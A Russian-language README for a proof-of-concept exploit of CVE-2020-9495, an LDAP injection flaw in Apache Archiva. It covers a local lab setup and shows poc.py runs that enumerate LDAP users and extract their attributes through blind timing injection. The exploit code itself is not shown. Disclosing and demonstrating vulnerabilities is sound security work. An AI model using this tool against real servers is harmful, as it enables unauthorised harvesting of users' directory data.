
Эксплойт-доказательство концепции для CVE-2020-9495, уязвимости LDAP-инъекции в Apache Archiva. Перечисляет пользователей LDAP и извлекает произвольные значения атрибутов через слепую инъекцию.
CVE-2020-9495 — это уязвимость LDAP-инъекции средней степени опасности в Apache Archiva версий до 2.2.5. Она позволяет злоумышленнику получить любые значения атрибутов LDAP пользователей, существующих на LDAP-сервере.
Из официального уведомления Apache Archiva:
Предоставляя специальные значения в форму входа Archiva, злоумышленник может получить данные атрибутов пользователя с подключённого LDAP-сервера. С определёнными символами можно изменить LDAP-фильтр, используемый для запроса пользователей на подключённом LDAP-сервере. Измеряя время отклика, можно получить произвольные данные атрибутов из объектов пользователей LDAP.
Сценарий poc.py демонстрирует, как неавторизованный злоумышленник может перечислить пользователей на LDAP-сервере, интегрированном с Archiva, и получить значение любого атрибута любого пользователя.
Пропустите этот шаг, если у вас уже есть сервер Archiva с включённой аутентификацией LDAP.
Скачайте Archiva 2.2.4 и распакуйте его
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Запустите сервер OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Импортируйте пользователей из users.ldif в LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Запустите сервер Archiva
$ bin/archiva console
Включите и настройте аутентификацию LDAP через веб-интерфейс
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last